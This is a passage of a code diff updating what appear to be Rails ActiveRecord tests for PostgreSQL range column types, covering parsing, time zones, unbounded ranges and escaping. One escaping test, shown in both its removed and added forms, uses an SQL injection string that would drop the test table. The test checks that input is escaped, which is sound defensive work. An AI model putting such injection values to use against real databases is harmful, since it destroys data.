-                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
-                   int4_range: "[1, 10)",
-                   int8_range: "[10, 100)",
-                   float_range: "[0.5, 0.7)")
-
-      insert_range(id: 103,
-                   date_range: "[''2012-01-02'',]",
-                   num_range: "[0.1,]",
-                   ts_range: "[''2010-01-01 14:30'',]",
-                   tstz_range: "[''2010-01-01 14:30:00+05'',]",
-                   int4_range: "[1,]",
-                   int8_range: "[10,]",
-                   float_range: "[0.5,]")
-
-      insert_range(id: 104,
-                   date_range: "[,]",
-                   num_range: "[,]",
-                   ts_range: "[,]",
-                   tstz_range: "[,]",
-                   int4_range: "[,]",
-                   int8_range: "[,]",
-                   float_range: "[,]")
-
-      insert_range(id: 105,
-                   date_range: "[''2012-01-02'', ''2012-01-02'')",
-                   num_range: "[0.1, 0.1)",
-                   ts_range: "[''2010-01-01 14:30'', ''2010-01-01 14:30'')",
-                   tstz_range: "[''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
-                   int4_range: "[1, 1)",
-                   int8_range: "[10, 10)",
-                   float_range: "[0.5, 0.5)")
-
-      @new_range = PostgresqlRange.new
-      @first_range = PostgresqlRange.find(101)
-      @second_range = PostgresqlRange.find(102)
-      @third_range = PostgresqlRange.find(103)
-      @fourth_range = PostgresqlRange.find(104)
-      @empty_range = PostgresqlRange.find(105)
+      @connection.add_column "postgresql_ranges", "float_range", "floatrange"
+      @connection.add_column "postgresql_ranges", "string_range", "stringrange"
     end
+    PostgresqlRange.reset_column_information
+
+    insert_range(id: 101,
+                 date_range: "[''2012-01-02'', ''2012-01-04'']",
+                 num_range: "[0.1, 0.2]",
+                 ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'']",
+                 tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']",
+                 int4_range: "[1, 10]",
+                 int8_range: "[10, 100]",
+                 float_range: "[0.5, 0.7]")
+
+    insert_range(id: 102,
+                 date_range: "[''2012-01-02'', ''2012-01-04'')",
+                 num_range: "[0.1, 0.2)",
+                 ts_range: "[''2010-01-01 14:30'', ''2011-01-01 14:30'')",
+                 tstz_range: "[''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'')",
+                 int4_range: "[1, 10)",
+                 int8_range: "[10, 100)",
+                 float_range: "[0.5, 0.7)")
+
+    insert_range(id: 103,
+                 date_range: "[''2012-01-02'',]",
+                 num_range: "[0.1,]",
+                 ts_range: "[''2010-01-01 14:30'',]",
+                 tstz_range: "[''2010-01-01 14:30:00+05'',]",
+                 int4_range: "[1,]",
+                 int8_range: "[10,]",
+                 float_range: "[0.5,]")
+
+    insert_range(id: 104,
+                 date_range: "[,]",
+                 num_range: "[,]",
+                 ts_range: "[,]",
+                 tstz_range: "[,]",
+                 int4_range: "[,]",
+                 int8_range: "[,]",
+                 float_range: "[,]")
+
+    insert_range(id: 105,
+                 date_range: "[''2012-01-02'', ''2012-01-02'')",
+                 num_range: "[0.1, 0.1)",
+                 ts_range: "[''2010-01-01 14:30'', ''2010-01-01 14:30'')",
+                 tstz_range: "[''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')",
+                 int4_range: "[1, 1)",
+                 int8_range: "[10, 10)",
+                 float_range: "[0.5, 0.5)")
+
+    @new_range = PostgresqlRange.new
+    @first_range = PostgresqlRange.find(101)
+    @second_range = PostgresqlRange.find(102)
+    @third_range = PostgresqlRange.find(103)
+    @fourth_range = PostgresqlRange.find(104)
+    @empty_range = PostgresqlRange.find(105)
+  end
 
-    teardown do
-      @connection.drop_table "postgresql_ranges", if_exists: true
-      @connection.execute "DROP TYPE IF EXISTS floatrange"
-      reset_connection
-    end
+  teardown do
+    @connection.drop_table "postgresql_ranges", if_exists: true
+    @connection.execute "DROP TYPE IF EXISTS floatrange"
+    @connection.execute "DROP TYPE IF EXISTS stringrange"
+    reset_connection
+  end
 
-    def test_data_type_of_range_types
-      assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
-      assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
-      assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
-      assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
-      assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
-      assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
-    end
+  def test_data_type_of_range_types
+    assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
+    assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
+    assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
+    assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
+    assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
+    assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
+  end
 
-    def test_int4range_values
-      assert_equal 1...11, @first_range.int4_range
-      assert_equal 1...10, @second_range.int4_range
-      assert_equal 1...Float::INFINITY, @third_range.int4_range
-      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
-      assert_nil @empty_range.int4_range
-    end
+  def test_int4range_values
+    assert_equal 1...11, @first_range.int4_range
+    assert_equal 1...10, @second_range.int4_range
+    assert_equal 1...Float::INFINITY, @third_range.int4_range
+    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
+    assert_nil @empty_range.int4_range
+  end
 
-    def test_int8range_values
-      assert_equal 10...101, @first_range.int8_range
-      assert_equal 10...100, @second_range.int8_range
-      assert_equal 10...Float::INFINITY, @third_range.int8_range
-      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
-      assert_nil @empty_range.int8_range
-    end
+  def test_int8range_values
+    assert_equal 10...101, @first_range.int8_range
+    assert_equal 10...100, @second_range.int8_range
+    assert_equal 10...Float::INFINITY, @third_range.int8_range
+    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
+    assert_nil @empty_range.int8_range
+  end
 
-    def test_daterange_values
-      assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
-      assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 4), @second_range.date_range
-      assert_equal Date.new(2012, 1, 2)...Float::INFINITY, @third_range.date_range
-      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
-      assert_nil @empty_range.date_range
-    end
+  def test_daterange_values
+    assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
+    assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 4), @second_range.date_range
+    assert_equal Date.new(2012, 1, 2)...Float::INFINITY, @third_range.date_range
+    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
+    assert_nil @empty_range.date_range
+  end
 
-    def test_numrange_values
-      assert_equal BigDecimal.new("0.1")..BigDecimal.new("0.2"), @first_range.num_range
-      assert_equal BigDecimal.new("0.1")...BigDecimal.new("0.2"), @second_range.num_range
-      assert_equal BigDecimal.new("0.1")...BigDecimal.new("Infinity"), @third_range.num_range
-      assert_equal BigDecimal.new("-Infinity")...BigDecimal.new("Infinity"), @fourth_range.num_range
-      assert_nil @empty_range.num_range
-    end
+  def test_numrange_values
+    assert_equal BigDecimal("0.1")..BigDecimal("0.2"), @first_range.num_range
+    assert_equal BigDecimal("0.1")...BigDecimal("0.2"), @second_range.num_range
+    assert_equal BigDecimal("0.1")...BigDecimal("Infinity"), @third_range.num_range
+    assert_equal BigDecimal("-Infinity")...BigDecimal("Infinity"), @fourth_range.num_range
+    assert_nil @empty_range.num_range
+  end
+
+  def test_tsrange_values
+    tz = ::ActiveRecord.default_timezone
+    assert_equal Time.public_send(tz, 2010, 1, 1, 14, 30, 0)..Time.public_send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
+    assert_equal Time.public_send(tz, 2010, 1, 1, 14, 30, 0)...Time.public_send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
+    assert_equal Time.public_send(tz, 2010, 1, 1, 14, 30, 0)...nil, @third_range.ts_range
+    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
+    assert_nil @empty_range.ts_range
+  end
 
-    def test_tsrange_values
-      tz = ::ActiveRecord::Base.default_timezone
-      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
-      assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
-      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
-      assert_nil @empty_range.ts_range
+  def test_tstzrange_values
+    assert_equal Time.parse("2010-01-01 09:30:00 UTC")..Time.parse("2011-01-01 17:30:00 UTC"), @first_range.tstz_range
+    assert_equal Time.parse("2010-01-01 09:30:00 UTC")...Time.parse("2011-01-01 17:30:00 UTC"), @second_range.tstz_range
+    assert_equal Time.parse("2010-01-01 09:30:00 UTC")...nil, @third_range.tstz_range
+    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
+    assert_nil @empty_range.tstz_range
+  end
+
+  def test_custom_range_values
+    assert_equal 0.5..0.7, @first_range.float_range
+    assert_equal 0.5...0.7, @second_range.float_range
+    assert_equal 0.5...Float::INFINITY, @third_range.float_range
+    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.float_range)
+    assert_nil @empty_range.float_range
+  end
+
+  def test_timezone_awareness_tzrange
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PostgresqlRange.new(tstz_range: time_string..time_string)
+      assert_equal time..time, record.tstz_range
+      assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
+
+      record.save!
+      record.reload
+
+      assert_equal time..time, record.tstz_range
+      assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
     end
+  end
 
-    def test_tstzrange_values
-      assert_equal Time.parse("2010-01-01 09:30:00 UTC")..Time.parse("2011-01-01 17:30:00 UTC"), @first_range.tstz_range
-      assert_equal Time.parse("2010-01-01 09:30:00 UTC")...Time.parse("2011-01-01 17:30:00 UTC"), @second_range.tstz_range
-      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
-      assert_nil @empty_range.tstz_range
+  def test_timezone_awareness_endless_tzrange
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PostgresqlRange.new(tstz_range: time_string..)
+      assert_equal time.., record.tstz_range
+      assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
+
+      record.save!
+      record.reload
+
+      assert_equal time.., record.tstz_range
+      assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
     end
+  end
+
+  def test_timezone_awareness_beginless_tzrange
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PostgresqlRange.new(tstz_range: ..time_string)
+      assert_equal nil..time, record.tstz_range
+      assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.end.time_zone
 
-    def test_custom_range_values
-      assert_equal 0.5..0.7, @first_range.float_range
-      assert_equal 0.5...0.7, @second_range.float_range
-      assert_equal 0.5...Float::INFINITY, @third_range.float_range
-      assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.float_range)
-      assert_nil @empty_range.float_range
+      record.save!
+      record.reload
+
+      assert_equal nil..time, record.tstz_range
+      assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.end.time_zone
     end
+  end
 
-    def test_timezone_awareness_tzrange
-      tz = "Pacific Time (US & Canada)"
+  def test_timezone_array_awareness_tzrange
+    tz = "Pacific Time (US & Canada)"
 
-      in_time_zone tz do
-        PostgresqlRange.reset_column_information
-        time_string = Time.current.to_s
-        time = Time.zone.parse(time_string)
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
 
-        record = PostgresqlRange.new(tstz_range: time_string..time_string)
-        assert_equal time..time, record.tstz_range
-        assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
+      from_time_string = Time.current.to_s
+      from_time = Time.zone.parse(from_time_string)
+      to_time_string = (from_time + 1.hour).to_s
+      to_time = Time.zone.parse(to_time_string)
 
-        record.save!
-        record.reload
+      record = PostgresqlRange.new(tstz_ranges: [from_time_string...to_time_string, from_time_string..to_time_string, from_time_string..., ..to_time_string])
+      assert_equal [from_time...to_time, from_time..to_time, from_time..., ..to_time], record.tstz_ranges
+      record.tstz_ranges.each do |range|
+        assert_equal ActiveSupport::TimeZone[tz], range.begin.time_zone if range.begin
+        assert_equal ActiveSupport::TimeZone[tz], range.end.time_zone if range.end
+      end
 
-        assert_equal time..time, record.tstz_range
-        assert_equal ActiveSupport::TimeZone[tz], record.tstz_range.begin.time_zone
+      record.save!
+      record.reload
+
+      assert_equal [from_time...to_time, from_time..to_time, from_time...nil, nil..to_time], record.tstz_ranges
+      record.tstz_ranges.each do |range|
+        assert_equal ActiveSupport::TimeZone[tz], range.begin.time_zone if range.begin
+        assert_equal ActiveSupport::TimeZone[tz], range.end.time_zone if range.end
       end
     end
+  end
 
-    def test_create_tstzrange
-      tstzrange = Time.parse("2010-01-01 14:30:00 +0100")...Time.parse("2011-02-02 14:30:00 CDT")
-      round_trip(@new_range, :tstz_range, tstzrange)
-      assert_equal @new_range.tstz_range, tstzrange
-      assert_equal @new_range.tstz_range, Time.parse("2010-01-01 13:30:00 UTC")...Time.parse("2011-02-02 19:30:00 UTC")
-    end
+  def test_create_tstzrange
+    tstzrange = Time.parse("2010-01-01 14:30:00 +0100")...Time.parse("2011-02-02 14:30:00 CDT")
+    round_trip(@new_range, :tstz_range, tstzrange)
+    assert_equal @new_range.tstz_range, tstzrange
+    assert_equal @new_range.tstz_range, Time.parse("2010-01-01 13:30:00 UTC")...Time.parse("2011-02-02 19:30:00 UTC")
+  end
+
+  def test_update_tstzrange
+    assert_equal_round_trip(@first_range, :tstz_range,
+                            Time.parse("2010-01-01 14:30:00 CDT")...Time.parse("2011-02-02 14:30:00 CET"))
+    assert_nil_round_trip(@first_range, :tstz_range,
+                          Time.parse("2010-01-01 14:30:00 +0100")...Time.parse("2010-01-01 13:30:00 +0000"))
+  end
+
+  def test_escaped_tstzrange
+    assert_equal_round_trip(@first_range, :tstz_range,
+                            Time.parse("-1000-01-01 14:30:00 CDT")...Time.parse("2020-02-02 14:30:00 CET"))
+  end
+
+  def test_unbounded_tstzrange
+    assert_equal_round_trip @first_range, :tstz_range, Time.parse("2010-01-01 14:30:00 CDT")...nil
+    assert_equal_round_trip @first_range, :tstz_range, nil..Time.parse("2010-01-01 14:30:00 CDT")
+  end
+
+  def test_create_tsrange
+    tz = ::ActiveRecord.default_timezone
+    assert_equal_round_trip(@new_range, :ts_range,
+                            Time.public_send(tz, 2010, 1, 1, 14, 30, 0)...Time.public_send(tz, 2011, 2, 2, 14, 30, 0))
+  end
+
+  def test_update_tsrange
+    tz = ::ActiveRecord.default_timezone
+    assert_equal_round_trip(@first_range, :ts_range,
+                            Time.public_send(tz, 2010, 1, 1, 14, 30, 0)...Time.public_send(tz, 2011, 2, 2, 14, 30, 0))
+    assert_nil_round_trip(@first_range, :ts_range,
+                          Time.public_send(tz, 2010, 1, 1, 14, 30, 0)...Time.public_send(tz, 2010, 1, 1, 14, 30, 0))
+  end
 
-    def test_update_tstzrange
-      assert_equal_round_trip(@first_range, :tstz_range,
-                              Time.parse("2010-01-01 14:30:00 CDT")...Time.parse("2011-02-02 14:30:00 CET"))
-      assert_nil_round_trip(@first_range, :tstz_range,
-                            Time.parse("2010-01-01 14:30:00 +0100")...Time.parse("2010-01-01 13:30:00 +0000"))
+  def test_escaped_tsrange
+    tz = ::ActiveRecord.default_timezone
+    assert_equal_round_trip(@first_range, :ts_range,
+                            Time.public_send(tz, -1000, 1, 1, 14, 30, 0)...Time.public_send(tz, 2020, 2, 2, 14, 30, 0))
+  end
+
+  def test_unbounded_tsrange
+    time = Time.public_send(::ActiveRecord.default_timezone, 2010, 1, 1, 14, 30, 0)
+
+    assert_equal_round_trip @first_range, :ts_range, time..nil
+    assert_equal_round_trip @first_range, :ts_range, time...nil
+    assert_equal_round_trip @first_range, :ts_range, nil..time
+    assert_equal_round_trip @first_range, :ts_range, nil...time
+  end
+
+  def test_unbounded_tsrange_sql_values
+    time = Time.public_send(::ActiveRecord.default_timezone, 2010, 1, 1, 14, 30, 0)
+
+    @first_range.update(ts_range: time...nil)
+    @second_range.update(ts_range: time..nil)
+    @third_range.update(ts_range: nil...time)
+    @fourth_range.update(ts_range: nil..time)
+
+    result = @connection.execute(<<~SQL)
+      SELECT lower(ts_range) AS lower, upper(ts_range) AS upper
+      FROM postgresql_ranges
+      WHERE id IN (101, 102, 103, 104)
+      ORDER BY id
+    SQL
+
+    expected = [
+      { "lower" => time, "upper" => "infinity" },
+      { "lower" => time, "upper" => "infinity" },
+      { "lower" => "-infinity", "upper" => time },
+      { "lower" => "-infinity", "upper" => time }
+    ]
+
+    assert_equal expected, result.to_a
+  end
+
+  def test_timezone_awareness_tsrange
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PostgresqlRange.new(ts_range: time_string..time_string)
+      assert_equal time..time, record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+
+      record.save!
+      record.reload
+
+      assert_equal time..time, record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
     end
+  end
+
+  def test_timezone_awareness_endless_tsrange
+    tz = "Pacific Time (US & Canada)"
 
-    def test_create_tsrange
-      tz = ::ActiveRecord::Base.default_timezone
-      assert_equal_round_trip(@new_range, :ts_range,
-                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PostgresqlRange.new(ts_range: time_string...)
+      assert_equal time..., record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+
+      record.save!
+      record.reload
+
+      assert_equal time..., record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
     end
+  end
 
-    def test_update_tsrange
-      tz = ::ActiveRecord::Base.default_timezone
-      assert_equal_round_trip(@first_range, :ts_range,
-                              Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0))
-      assert_nil_round_trip(@first_range, :ts_range,
-                            Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0))
+  def test_timezone_awareness_beginless_tsrange
+    tz = "Pacific Time (US & Canada)"
+
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
+      time_string = Time.current.to_s
+      time = Time.zone.parse(time_string)
+
+      record = PostgresqlRange.new(ts_range: ..time_string)
+      assert_equal nil..time, record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.end.time_zone
+
+      record.save!
+      record.reload
+
+      assert_equal nil..time, record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.end.time_zone
     end
+  end
 
-    def test_timezone_awareness_tsrange
-      tz = "Pacific Time (US & Canada)"
+  def test_timezone_array_awareness_tsrange
+    tz = "Pacific Time (US & Canada)"
 
-      in_time_zone tz do
-        PostgresqlRange.reset_column_information
-        time_string = Time.current.to_s
-        time = Time.zone.parse(time_string)
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
 
-        record = PostgresqlRange.new(ts_range: time_string..time_string)
-        assert_equal time..time, record.ts_range
-        assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+      from_time_string = Time.current.to_s
+      from_time = Time.zone.parse(from_time_string)
+      to_time_string = (from_time + 1.hour).to_s
+      to_time = Time.zone.parse(to_time_string)
 
-        record.save!
-        record.reload
+      record = PostgresqlRange.new(ts_ranges: [from_time_string...to_time_string, from_time_string..to_time_string, from_time_string..., ..to_time_string])
+      assert_equal [from_time...to_time, from_time..to_time, from_time..., ..to_time], record.ts_ranges
+      record.ts_ranges.each do |range|
+        assert_equal ActiveSupport::TimeZone[tz], range.begin.time_zone if range.begin
+        assert_equal ActiveSupport::TimeZone[tz], range.end.time_zone if range.end
+      end
+
+      record.save!
+      record.reload
 
-        assert_equal time..time, record.ts_range
-        assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+      assert_equal [from_time...to_time, from_time..to_time, from_time..., ..to_time], record.ts_ranges
+      record.ts_ranges.each do |range|
+        assert_equal ActiveSupport::TimeZone[tz], range.begin.time_zone if range.begin
+        assert_equal ActiveSupport::TimeZone[tz], range.end.time_zone if range.end
       end
     end
+  end
 
-    def test_create_numrange
-      assert_equal_round_trip(@new_range, :num_range,
-                              BigDecimal.new("0.5")...BigDecimal.new("1"))
-    end
+  def test_create_tstzrange_preserve_usec
+    tstzrange = Time.parse("2010-01-01 14:30:00.670277 +0100")...Time.parse("2011-02-02 14:30:00.745125 CDT")
+    round_trip(@new_range, :tstz_range, tstzrange)
+    assert_equal @new_range.tstz_range, tstzrange
+    assert_equal @new_range.tstz_range, Time.parse("2010-01-01 13:30:00.670277 UTC")...Time.parse("2011-02-02 19:30:00.745125 UTC")
+  end
 
-    def test_update_numrange
-      assert_equal_round_trip(@first_range, :num_range,
-                              BigDecimal.new("0.5")...BigDecimal.new("1"))
-      assert_nil_round_trip(@first_range, :num_range,
-                            BigDecimal.new("0.5")...BigDecimal.new("0.5"))
-    end
+  def test_update_tstzrange_preserve_usec
+    assert_equal_round_trip(@first_range, :tstz_range,
+                            Time.parse("2010-01-01 14:30:00.245124 CDT")...Time.parse("2011-02-02 14:30:00.451274 CET"))
+    assert_nil_round_trip(@first_range, :tstz_range,
+                          Time.parse("2010-01-01 14:30:00.245124 +0100")...Time.parse("2010-01-01 13:30:00.245124 +0000"))
+  end
 
-    def test_create_daterange
-      assert_equal_round_trip(@new_range, :date_range,
-                              Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
-    end
+  def test_create_tsrange_preserve_usec
+    tz = ::ActiveRecord.default_timezone
+    assert_equal_round_trip(@new_range, :ts_range,
+                            Time.public_send(tz, 2010, 1, 1, 14, 30, 0, 125435)...Time.public_send(tz, 2011, 2, 2, 14, 30, 0, 225435))
+  end
 
-    def test_update_daterange
-      assert_equal_round_trip(@first_range, :date_range,
-                              Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
-      assert_nil_round_trip(@first_range, :date_range,
-                            Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
-    end
+  def test_update_tsrange_preserve_usec
+    tz = ::ActiveRecord.default_timezone
+    assert_equal_round_trip(@first_range, :ts_range,
+                            Time.public_send(tz, 2010, 1, 1, 14, 30, 0, 142432)...Time.public_send(tz, 2011, 2, 2, 14, 30, 0, 224242))
+    assert_nil_round_trip(@first_range, :ts_range,
+                          Time.public_send(tz, 2010, 1, 1, 14, 30, 0, 142432)...Time.public_send(tz, 2010, 1, 1, 14, 30, 0, 142432))
+  end
 
-    def test_create_int4range
-      assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
-    end
+  def test_timezone_awareness_tsrange_preserve_usec
+    tz = "Pacific Time (US & Canada)"
 
-    def test_update_int4range
-      assert_equal_round_trip(@first_range, :int4_range, 6...10)
-      assert_nil_round_trip(@first_range, :int4_range, 3...3)
-    end
+    in_time_zone tz do
+      PostgresqlRange.reset_column_information
+      time_string = "2017-09-26 07:30:59.132451 -0700"
+      time = Time.zone.parse(time_string)
+      assert time.usec > 0
 
-    def test_create_int8range
-      assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
-    end
+      record = PostgresqlRange.new(ts_range: time_string..time_string)
+      assert_equal time..time, record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+      assert_equal time.usec, record.ts_range.begin.usec
 
-    def test_update_int8range
-      assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
-      assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
-    end
+      record.save!
+      record.reload
 
-    def test_exclude_beginning_for_subtypes_without_succ_method_is_not_supported
-      assert_raises(ArgumentError) { PostgresqlRange.create!(num_range: "(0.1, 0.2]") }
-      assert_raises(ArgumentError) { PostgresqlRange.create!(float_range: "(0.5, 0.7]") }
-      assert_raises(ArgumentError) { PostgresqlRange.create!(int4_range: "(1, 10]") }
-      assert_raises(ArgumentError) { PostgresqlRange.create!(int8_range: "(10, 100]") }
-      assert_raises(ArgumentError) { PostgresqlRange.create!(date_range: "(''2012-01-02'', ''2012-01-04'']") }
-      assert_raises(ArgumentError) { PostgresqlRange.create!(ts_range: "(''2010-01-01 14:30'', ''2011-01-01 14:30'']") }
-      assert_raises(ArgumentError) { PostgresqlRange.create!(tstz_range: "(''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']") }
+      assert_equal time..time, record.ts_range
+      assert_equal ActiveSupport::TimeZone[tz], record.ts_range.begin.time_zone
+      assert_equal time.usec, record.ts_range.begin.usec
     end
+  end
 
-    def test_where_by_attribute_with_range
-      range = 1..100
-      record = PostgresqlRange.create!(int4_range: range)
-      assert_equal record, PostgresqlRange.where(int4_range: range).take
-    end
+  def test_create_numrange
+    assert_equal_round_trip(@new_range, :num_range,
+                            BigDecimal("0.5")...BigDecimal("1"))
+  end
 
-    def test_update_all_with_ranges
-      PostgresqlRange.create!
+  def test_update_numrange
+    assert_equal_round_trip(@first_range, :num_range,
+                            BigDecimal("0.5")...BigDecimal("1"))
+    assert_nil_round_trip(@first_range, :num_range,
+                          BigDecimal("0.5")...BigDecimal("0.5"))
+  end
 
-      PostgresqlRange.update_all(int8_range: 1..100)
+  def test_create_daterange
+    assert_equal_round_trip(@new_range, :date_range,
+                            Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true))
+  end
 
-      assert_equal 1...101, PostgresqlRange.first.int8_range
-    end
+  def test_update_daterange
+    assert_equal_round_trip(@first_range, :date_range,
+                            Date.new(2012, 2, 3)...Date.new(2012, 2, 10))
+    assert_nil_round_trip(@first_range, :date_range,
+                          Date.new(2012, 2, 3)...Date.new(2012, 2, 3))
+  end
 
-    def test_ranges_correctly_escape_input
-      range = "-1,2]'; DROP TABLE postgresql_ranges; --".."a"
-      PostgresqlRange.update_all(int8_range: range)
+  def test_create_int4range
+    assert_equal_round_trip(@new_range, :int4_range, Range.new(3, 50, true))
+  end
 
-      assert_nothing_raised do
-        PostgresqlRange.first
-      end
+  def test_update_int4range
+    assert_equal_round_trip(@first_range, :int4_range, 6...10)
+    assert_nil_round_trip(@first_range, :int4_range, 3...3)
+  end
+
+  def test_create_int8range
+    assert_equal_round_trip(@new_range, :int8_range, Range.new(30, 50, true))
+  end
+
+  def test_update_int8range
+    assert_equal_round_trip(@first_range, :int8_range, 60000...10000000)
+    assert_nil_round_trip(@first_range, :int8_range, 39999...39999)
+  end
+
+  def test_exclude_beginning_for_subtypes_without_succ_method_is_not_supported
+    assert_raises(ArgumentError) { PostgresqlRange.create!(num_range: "(0.1, 0.2]") }
+    assert_raises(ArgumentError) { PostgresqlRange.create!(float_range: "(0.5, 0.7]") }
+    assert_raises(ArgumentError) { PostgresqlRange.create!(int4_range: "(1, 10]") }
+    assert_raises(ArgumentError) { PostgresqlRange.create!(int8_range: "(10, 100]") }
+    assert_raises(ArgumentError) { PostgresqlRange.create!(date_range: "(''2012-01-02'', ''2012-01-04'']") }
+    assert_raises(ArgumentError) { PostgresqlRange.create!(ts_range: "(''2010-01-01 14:30'', ''2011-01-01 14:30'']") }
+    assert_raises(ArgumentError) { PostgresqlRange.create!(tstz_range: "(''2010-01-01 14:30:00+05'', ''2011-01-01 14:30:00-03'']") }
+  end
+
+  def test_where_by_attribute_with_range
+    range = 1..100
+    record = PostgresqlRange.create!(int4_range: range)
+    assert_equal record, PostgresqlRange.where(int4_range: range).take
+  end
+
+  def test_where_by_attribute_with_range_in_array
+    range = 1..100
+    record = PostgresqlRange.create!(int4_range: range)
+    assert_equal record, PostgresqlRange.where(int4_range: [range]).take
+  end
+
+  def test_update_all_with_ranges
+    PostgresqlRange.create!
+
+    PostgresqlRange.update_all(int8_range: 1..100)
+
+    assert_equal 1...101, PostgresqlRange.first.int8_range
+  end
+
+  def test_ranges_correctly_escape_input
+    range = "-1,2]'; DROP TABLE postgresql_ranges; --".."a"
+    PostgresqlRange.update_all(int8_range: range)
+
+    assert_nothing_raised do
+      PostgresqlRange.first
     end
+  end
 
-    private
-      def assert_equal_round_trip(range, attribute, value)
-        round_trip(range, attribute, value)
-        assert_equal value, range.public_send(attribute)
-      end
+  def test_ranges_correctly_unescape_output
+    @connection.execute(<<~SQL)
+      INSERT INTO postgresql_ranges (id, string_range)
+      VALUES (106, '["ca""t","do\\\\g")')
+    SQL
 
-      def assert_nil_round_trip(range, attribute, value)
-        round_trip(range, attribute, value)
-        assert_nil range.public_send(attribute)
-      end
+    escaped_range = PostgresqlRange.find(106)
+    assert_equal('ca"t'...'do\\g', escaped_range.string_range)
+  end
 
-      def round_trip(range, attribute, value)
-        range.public_send "#{attribute}=", value
-        assert range.save
-        assert range.reload
-      end
+  def test_infinity_values
